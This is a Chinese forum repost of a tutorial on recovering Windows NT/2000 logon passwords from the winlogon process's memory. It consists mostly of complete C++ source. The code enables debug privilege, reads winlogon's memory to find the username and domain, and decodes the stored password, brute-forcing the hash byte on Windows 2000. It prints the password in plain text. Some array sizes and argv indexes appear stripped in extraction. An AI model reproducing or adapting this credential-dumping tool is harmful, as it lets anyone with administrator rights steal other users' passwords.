winston 发表于 2012-3-7 00:09:49

[原]VisualC++信息安全编程(5)获取windows登陆账户密码

Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。
因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码
<167-174:    GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
    GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);
>,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
> ,找到后就查后边的加密口令。
其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。
1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id
2. 然后给每个winlogon进程id查找指定的用户就行了。
example:
C:\Documents and Settings\bingle>pulist
Process         PIDUser
Idle            0
System            8
smss.exe          164NT AUTHORITY\SYSTEM
csrss.exe         192NT AUTHORITY\SYSTEM
winlogon.exe      188NT AUTHORITY\SYSTEM
wins.exe          1212 NT AUTHORITY\SYSTEM
Explorer.exe      388TEST-2KSERVER\Administrator
internat.exe      1828 TEST-2KSERVER\Administrator
conime.exe      1868 TEST-2KSERVER\Administrator
msiexec.exe       1904 NT AUTHORITY\SYSTEM
tlntsvr.exe       1048 NT AUTHORITY\SYSTEM
taskmgr.exe       1752 TEST-2KSERVER\Administrator
csrss.exe         2056 NT AUTHORITY\SYSTEM
winlogon.exe      2416 NT AUTHORITY\SYSTEM
rdpclip.exe       2448 TEST-2KSERVER\clovea
Explorer.exe      2408 TEST-2KSERVER\clovea
internat.exe      1480 TEST-2KSERVER\clovea
cmd.exe         2508 TEST-2KSERVER\Administrator
ntshell.exe       368TEST-2KSERVER\Administrator
ntshell.exe       1548 TEST-2KSERVER\Administrator
ntshell.exe       1504 TEST-2KSERVER\Administrator
csrss.exe         1088 NT AUTHORITY\SYSTEM
winlogon.exe      1876 NT AUTHORITY\SYSTEM
rdpclip.exe       1680 TEST-2KSERVER\bingle
Explorer.exe      2244 TEST-2KSERVER\bingle
conime.exe      2288 TEST-2KSERVER\bingle
internat.exe      1592 TEST-2KSERVER\bingle
cmd.exe         1692 TEST-2KSERVER\bingle
mdm.exe         2476 TEST-2KSERVER\bingle
taskmgr.exe       752TEST-2KSERVER\bingle
pulist.exe      2532 TEST-2KSERVER\bingle



具体实现代码如下



#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

// Undocumented typedef's
typedef struct _QUERY_SYSTEM_INFORMATION
{
    DWORD GrantedAccess;
    DWORD PID;
    WORD HandleType;
    WORD HandleId;
    DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
    DWORD Count;
    DWORD Unk04;
    DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
    DWORD LoadAddress;
    DWORD Size;
    DWORD Unk08;
    DWORD Enumerator;
    DWORD Unk10;
    char Name ;
} PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
    DWORD HashByte;
    DWORD Unk04;
    DWORD Unk08;
    DWORD Unk0C;
    FILETIME LoggedOn;
    DWORD Unk18;
    DWORD Unk1C;
    DWORD Unk20;
    DWORD Unk24;
    DWORD Unk28;
    UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;

typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)(DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)(BYTE, PUNICODE_STRING);

// Private Prototypes
BOOL IsWinNT (void);
BOOL IsWin2K (void);
BOOL AddDebugPrivilege (void);
DWORD FindWinLogon (void);
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
void DisplayPasswordWinNT (void);
void DisplayPasswordWin2K (void);

// Global Variables
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;

DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName ;
wchar_t UserDomain ;

int __cdecl main( int argc, char* argv[] )
{
    printf( "\n\t To Find Password in the Winlogon process\n" );
        printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv );

    if ((!IsWinNT ())
            &&
      (!IsWin2K ()))
    {
      printf ("Windows NT or Windows 2000 are required.\n");
      return (0);
    }

    // Add debug privilege to PasswordReminder -
    // this is needed for the search for Winlogon.
    // 增加PasswordReminder的权限
    // 使得PasswordReminder可以打开并调试Winlogon进程
    if (!AddDebugPrivilege ())
    {
      printf
            ("Unable to add debug privilege.\n");
      return (0);
    }
    printf ("The debug privilege has been added to PasswordReminder.\n");

    // 获得几个未公开API的入口地址
    HINSTANCE hNtDll =
      LoadLibrary
            ("NTDLL.DLL");
    pfnNtQuerySystemInformation =
      (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress
            (hNtDll,
            "NtQuerySystemInformation");
    pfnRtlCreateQueryDebugBuffer =
      (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress
            (hNtDll,
            "RtlCreateQueryDebugBuffer");
    pfnRtlQueryProcessDebugInformation =
      (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress
            (hNtDll,
            "RtlQueryProcessDebugInformation");
    pfnRtlDestroyQueryDebugBuffer =
      (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress
            (hNtDll,
            "RtlDestroyQueryDebugBuffer");
    pfnRtlRunDecodeUnicodeString =
      (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress
            (hNtDll,
            "RtlRunDecodeUnicodeString");

    // Locate WinLogon's PID - need debug privilege and admin rights.
    // 获得Winlogon进程的PID
    // 这里作者使用了几个Native API,其实使用PSAPI一样可以
    DWORD WinLogonPID =
      argc > 3 ? atoi( argv ) : FindWinLogon () ;
    if (WinLogonPID == 0)
    {
      printf
            ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
      printf
            ("PasswordReminder is unable to find the password in memory.\n");
      FreeLibrary (hNtDll);
      return (0);
    }

        printf("The WinLogon process id is %d (0x%8.8lx).\n",
                        WinLogonPID, WinLogonPID);

    // Set values to check memory block against.
    // 初始化几个和用户账号相关的变量
        memset(UserName, 0, sizeof (UserName));
        memset(UserDomain, 0, sizeof (UserDomain));
        if( argc > 2 )
        {       
                mbstowcs( UserName, argv, sizeof(UserName)/sizeof(*UserName) );
                mbstowcs( UserDomain, argv, sizeof(UserDomain)/sizeof(*UserDomain) );
        }else
        {
                GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
                GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);
        }
        printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID );

    // Locate the block of memory containing
    // the password in WinLogon's memory space.
    // 在Winlogon进程中定位包含Password的内存块
    BOOL FoundPasswordPage = FALSE;
    if (IsWin2K ())
      FoundPasswordPage =
            LocatePasswordPageWin2K
                (WinLogonPID,
                &PasswordLength);
    else
      FoundPasswordPage =
            LocatePasswordPageWinNT
                (WinLogonPID,
                &PasswordLength);

    if (FoundPasswordPage)
    {
      if (PasswordLength == 0)
      {
            printf
                ("The logon information is: %S/%S.\n",
                UserDomain,
                UserName);
            printf
                ("There is no password.\n");
      }
      else
      {
            printf
                ("The encoded password is found at 0x%8.8lx and has a length of %d.\n",
                RealPasswordP,
                PasswordLength);
            // Decode the password string.
            if (IsWin2K ())
                DisplayPasswordWin2K ();
            else
                DisplayPasswordWinNT ();
      }
    }
    else
      printf
            ("PasswordReminder is unable to find the password in memory.\n");

    FreeLibrary
      (hNtDll);
    return (0);
} // main

//
// IsWinNT函数用来判断操作系统是否WINNT
//
BOOL
    IsWinNT
      (void)
{
    OSVERSIONINFO OSVersionInfo;
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
    if (GetVersionEx
            (&OSVersionInfo))
      return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
    else
      return (FALSE);
} // IsWinNT


//
// IsWin2K函数用来判断操作系统是否Win2K
//
BOOL
    IsWin2K
      (void)
{
    OSVERSIONINFO OSVersionInfo;
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
    if (GetVersionEx
            (&OSVersionInfo))
      return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
                  &&
                (OSVersionInfo.dwMajorVersion == 5));
    else
      return (FALSE);
} // IsWin2K


//
// AddDebugPrivilege函数用来申请调试Winlogon进程的特权
//
BOOL
    AddDebugPrivilege
      (void)
{
    HANDLE Token;
    TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
    DWORD ReturnLength = 0;
    if (OpenProcessToken
            (GetCurrentProcess (),
            TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
            &Token))
      if (LookupPrivilegeValue
                (NULL,
                "SeDebugPrivilege",
                &TokenPrivileges.Privileges.Luid))
      {
            TokenPrivileges.PrivilegeCount = 1;
            TokenPrivileges.Privileges.Attributes = SE_PRIVILEGE_ENABLED;
            return
                (AdjustTokenPrivileges
                  (Token,
                  FALSE,
                  &TokenPrivileges,
                  sizeof (TOKEN_PRIVILEGES),
                  &PreviousState,
                  &ReturnLength));
      }
    return (FALSE);
} // AddDebugPrivilege


//
// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
// FindWinLogon函数用来寻找WinLogon进程
// 由于作者使用的是Native API,因此不需要PSAPI的支持
//
DWORD
    FindWinLogon
      (void)
{
#define INITIAL_ALLOCATION 0x100
    DWORD rc = 0;
    DWORD SizeNeeded = 0;
    PVOID InfoP =
      HeapAlloc
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            INITIAL_ALLOCATION);
    // Find how much memory is required.
    pfnNtQuerySystemInformation
      (0x10,
      InfoP,
      INITIAL_ALLOCATION,
      &SizeNeeded);
    HeapFree
      (GetProcessHeap (),
      0,
      InfoP);
    // Now, allocate the proper amount of memory.
    InfoP =
      HeapAlloc
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            SizeNeeded);
    DWORD SizeWritten = SizeNeeded;
    if (pfnNtQuerySystemInformation
            (0x10,
            InfoP,
            SizeNeeded,
            &SizeWritten))
    {
      HeapFree
            (GetProcessHeap (),
            0,
            InfoP);
      return (0);
    }
    DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
    if (NumHandles == 0)
    {
      HeapFree
            (GetProcessHeap (),
            0,
            InfoP);
      return (0);
    }
    PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
      (PQUERY_SYSTEM_INFORMATION) InfoP;
    DWORD i;
    for (i = 1; i <= NumHandles; i++)
    {
      // "5" is the value of a kernel object type process.
      if (QuerySystemInformationP->HandleType == 5)
      {
            PVOID DebugBufferP =
                pfnRtlCreateQueryDebugBuffer
                  (0,
                  0);
            if (pfnRtlQueryProcessDebugInformation
                  (QuerySystemInformationP->PID,
                  1,
                  DebugBufferP) == 0)
            {
                PPROCESS_INFO_HEADER ProcessInfoHeaderP =
                  (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
                DWORD Count =
                  ProcessInfoHeaderP->Count;
                PPROCESS_INFO ProcessInfoP =
                  (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
                if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
                {
                  DWORD i;
                  DWORD dw = (DWORD) ProcessInfoP;
                  for (i = 0; i < Count; i++)
                  {
                        dw += sizeof (PROCESS_INFO);
                        ProcessInfoP = (PPROCESS_INFO) dw;
                        if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
                            return (0);
                        if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
                            rc =
                              QuerySystemInformationP->PID;
                  }
                  if (DebugBufferP)
                        pfnRtlDestroyQueryDebugBuffer
                            (DebugBufferP);
                  HeapFree
                        (GetProcessHeap (),
                        0,
                        InfoP);
                  return (rc);
                }
            }
            if (DebugBufferP)
                pfnRtlDestroyQueryDebugBuffer
                  (DebugBufferP);
      }
      DWORD dw = (DWORD) QuerySystemInformationP;
      dw += sizeof (QUERY_SYSTEM_INFORMATION);
      QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
    }
    HeapFree
      (GetProcessHeap (),
      0,
      InfoP);
    return (rc);
} // FindWinLogon

//
// LocatePasswordPageWinNT函数用来在NT中找到用户密码
//
BOOL
    LocatePasswordPageWinNT
      (DWORD WinLogonPID,
      PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WINNT    0x200
#define USER_PASSWORD_OFFSET_WINNT    0x400
    BOOL rc = FALSE;
    HANDLE WinLogonHandle =
      OpenProcess
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            FALSE,
            WinLogonPID);
    if (WinLogonHandle == 0)
      return (rc);
    *PasswordLength = 0;
    SYSTEM_INFO SystemInfo;
    GetSystemInfo
      (&SystemInfo);
    DWORD PEB = 0x7ffdf000;
    DWORD BytesCopied = 0;
    PVOID PEBP =
      HeapAlloc
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            SystemInfo.dwPageSize);
    if (!ReadProcessMemory
            (WinLogonHandle,
            (PVOID) PEB,
            PEBP,
            SystemInfo.dwPageSize,
            &BytesCopied))
    {
      CloseHandle
            (WinLogonHandle);
      return (rc);
    }
    // Grab the value of the 2nd DWORD in the TEB.
    PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;
    if (VirtualQueryEx
            (WinLogonHandle,
            (PVOID) *WinLogonHeap,
            &MemoryBasicInformation,
            sizeof (MEMORY_BASIC_INFORMATION)))
      if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
                &&
            ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
      {
            PVOID WinLogonMemP =
                HeapAlloc
                  (GetProcessHeap (),
                  HEAP_ZERO_MEMORY,
                  MemoryBasicInformation.RegionSize);
            if (ReadProcessMemory
                  (WinLogonHandle,
                  (PVOID) *WinLogonHeap,
                  WinLogonMemP,
                  MemoryBasicInformation.RegionSize,
                  &BytesCopied))
            {
                DWORD i = (DWORD) WinLogonMemP;
                DWORD UserNamePos = 0;
                // The order in memory is UserName followed by the UserDomain.
                // 在内存中搜索UserName和UserDomain字符串
                do
                {
                  if ((wcsicmp (UserName, (wchar_t *) i) == 0)
                            &&
                        (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
                  {
                        UserNamePos = i;
                        break;
                  }
                  i += 2;
                } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
                if (UserNamePos)
                {
                  PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
                        (PENCODED_PASSWORD_INFO)
                            ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
                  FILETIME LocalFileTime;
                  SYSTEMTIME SystemTime;
                  if (FileTimeToLocalFileTime
                        (&EncodedPasswordInfoP->LoggedOn,
                        &LocalFileTime))
                        if (FileTimeToSystemTime
                            (&LocalFileTime,
                            &SystemTime))
                            printf
                              ("You logged on at %d/%d/%d %d:%d:%d\n",
                              SystemTime.wMonth,
                              SystemTime.wDay,
                              SystemTime.wYear,
                              SystemTime.wHour,
                              SystemTime.wMinute,
                              SystemTime.wSecond);
                  *PasswordLength =
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
                  // NT就是好,hash-byte直接放在编码中:)
                  HashByte =
                        (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
                  RealPasswordP =
                        (PVOID) (*WinLogonHeap +
                            (UserNamePos - (DWORD) WinLogonMemP) +
                            USER_PASSWORD_OFFSET_WINNT + 0x34);
                  PasswordP =
                        (PVOID) ((PBYTE) (UserNamePos +   
                            USER_PASSWORD_OFFSET_WINNT + 0x34));
                  rc = TRUE;
                }
            }
      }

    HeapFree
      (GetProcessHeap (),
      0,
      PEBP);
    CloseHandle
      (WinLogonHandle);
    return (rc);
} // LocatePasswordPageWinNT


//
// LocatePasswordPageWin2K函数用来在Win2K中找到用户密码
//
BOOL
    LocatePasswordPageWin2K
      (DWORD WinLogonPID,
      PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WIN2K    0x400
#define USER_PASSWORD_OFFSET_WIN2K    0x800
    HANDLE WinLogonHandle =
      OpenProcess
            (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
            FALSE,
            WinLogonPID);
    if (WinLogonHandle == 0)
      return (FALSE);
    *PasswordLength = 0;
    SYSTEM_INFO SystemInfo;
    GetSystemInfo
      (&SystemInfo);
    DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
    DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
    DWORD Increment = SystemInfo.dwPageSize;
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;
    while (i < MaxMemory)
    {
      if (VirtualQueryEx
                (WinLogonHandle,
                (PVOID) i,
                &MemoryBasicInformation,
                sizeof (MEMORY_BASIC_INFORMATION)))
      {
            Increment = MemoryBasicInformation.RegionSize;
            if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
                  &&
                ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
            {
                PVOID RealStartingAddressP =
                  HeapAlloc
                        (GetProcessHeap (),
                        HEAP_ZERO_MEMORY,
                        MemoryBasicInformation.RegionSize);
                DWORD BytesCopied = 0;
                if (ReadProcessMemory
                        (WinLogonHandle,
                        (PVOID) i,
                        RealStartingAddressP,
                        MemoryBasicInformation.RegionSize,
                        &BytesCopied))
                {
                  // 在WinLogon的内存空间中寻找UserName和DomainName的字符串
                  if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
                            &&
                        (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
                  {
                        RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
                        PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
                        // Calculate the length of encoded unicode string.
                        // 计算出密文的长度
                        PBYTE p = (PBYTE) PasswordP;
                        DWORD Loc = (DWORD) p;
                        DWORD Len = 0;
                        if ((*p == 0)
                              &&
                            (* (PBYTE) ((DWORD) p + 1) == 0))
                            ;
                        else
                            do
                            {
                              Len++;
                              Loc += 2;
                              p = (PBYTE) Loc;
                            } while
                              (*p != 0);
                        *PasswordLength = Len;
                        CloseHandle
                            (WinLogonHandle);
                        return (TRUE);
                  }
                }
                HeapFree
                  (GetProcessHeap (),
                  0,
                  RealStartingAddressP);
            }
      }
      else
            Increment = SystemInfo.dwPageSize;
      // Move to next memory block.
      i += Increment;
    }
    CloseHandle
      (WinLogonHandle);
    return (FALSE);
} // LocatePasswordPageWin2K


//
// DisplayPasswordWinNT函数用来在NT中解码用户密码
//
void
    DisplayPasswordWinNT
      (void)
{
    UNICODE_STRING EncodedString;
    EncodedString.Length =
      (WORD) PasswordLength * sizeof (wchar_t);
    EncodedString.MaximumLength =
      ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
    EncodedString.Buffer =
      (PWSTR) HeapAlloc
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            EncodedString.MaximumLength);
    CopyMemory
      (EncodedString.Buffer,
      PasswordP,
      PasswordLength * sizeof (wchar_t));
    // Finally - decode the password.
    // Note that only one call is required since the hash-byte
    // was part of the orginally encoded string.
    // 在NT中,hash-byte是包含在编码中的
    // 因此只需要直接调用函数解码就可以了
    pfnRtlRunDecodeUnicodeString
      ((BYTE) HashByte,
      &EncodedString);
    printf
      ("The logon information is: %S/%S/%S.\n",
      UserDomain,
      UserName,
      EncodedString.Buffer);
    printf
      ("The hash byte is: 0x%2.2x.\n",
      HashByte);
    HeapFree
      (GetProcessHeap (),
      0,
      EncodedString.Buffer);
} // DisplayPasswordWinNT

//
// DisplayPasswordWin2K函数用来在Win2K中解码用户密码
//
void
    DisplayPasswordWin2K
      (void)
{
    DWORD i, Hash = 0;
    UNICODE_STRING EncodedString;
    EncodedString.Length =
      (USHORT) PasswordLength * sizeof (wchar_t);
    EncodedString.MaximumLength =
      ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
    EncodedString.Buffer =
      (PWSTR) HeapAlloc
            (GetProcessHeap (),
            HEAP_ZERO_MEMORY,
            EncodedString.MaximumLength);
    // This is a brute force technique since the hash-byte
    // is not stored as part of the encoded string - :>(.
    // 因为在Win2K中hash-byte并不存放在编码中
    // 所以在这里进行的是暴力破解
    // 下面的循环中i就是hash-byte
    // 我们将i从0x00到0xff分别对密文进行解密
    // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的
    // 这个算法实际上是从概率角度来解码的
    // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小
    for (i = 0; i <= 0xff; i++)
    {
      CopyMemory
            (EncodedString.Buffer,
            PasswordP,
            PasswordLength * sizeof (wchar_t));
      // Finally - try to decode the password.
      // 使用i作为hash-byte对密文进行解码
      pfnRtlRunDecodeUnicodeString
            ((BYTE) i,
            &EncodedString);
      // Check for a viewable password.
      // 检查解码出的密码是否完全由可见字符组成
      // 如果是则认为是正确的解码
      PBYTE p = (PBYTE) EncodedString.Buffer;
      BOOL Viewable = TRUE;
      DWORD j, k;
      for (j = 0; (j < PasswordLength) && Viewable; j++)
      {
            if ((*p)
                  &&
                (* (PBYTE)(DWORD (p) + 1) == 0))
            {
                if (*p < 0x20)
                  Viewable = FALSE;
                if (*p > 0x7e)
                  Viewable = FALSE;
                //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了
            }
            else
                Viewable = FALSE;
            k = DWORD (p);
            k++; k++;
            p = (PBYTE) k;
      }
      if (Viewable)
      {
            printf
                ("The logon information is: %S/%S/%S.\n",
                UserDomain,
                UserName,
                EncodedString.Buffer);
            printf
                ("The hash byte is: 0x%2.2x.\n",
                i);
      }
    }
    HeapFree
      (GetProcessHeap (),
      0,
      EncodedString.Buffer);
}


作者:yincheng01 发表于2012-1-6 7:06:06 原文链接

页: [1]
查看完整版本: [原]VisualC++信息安全编程(5)获取windows登陆账户密码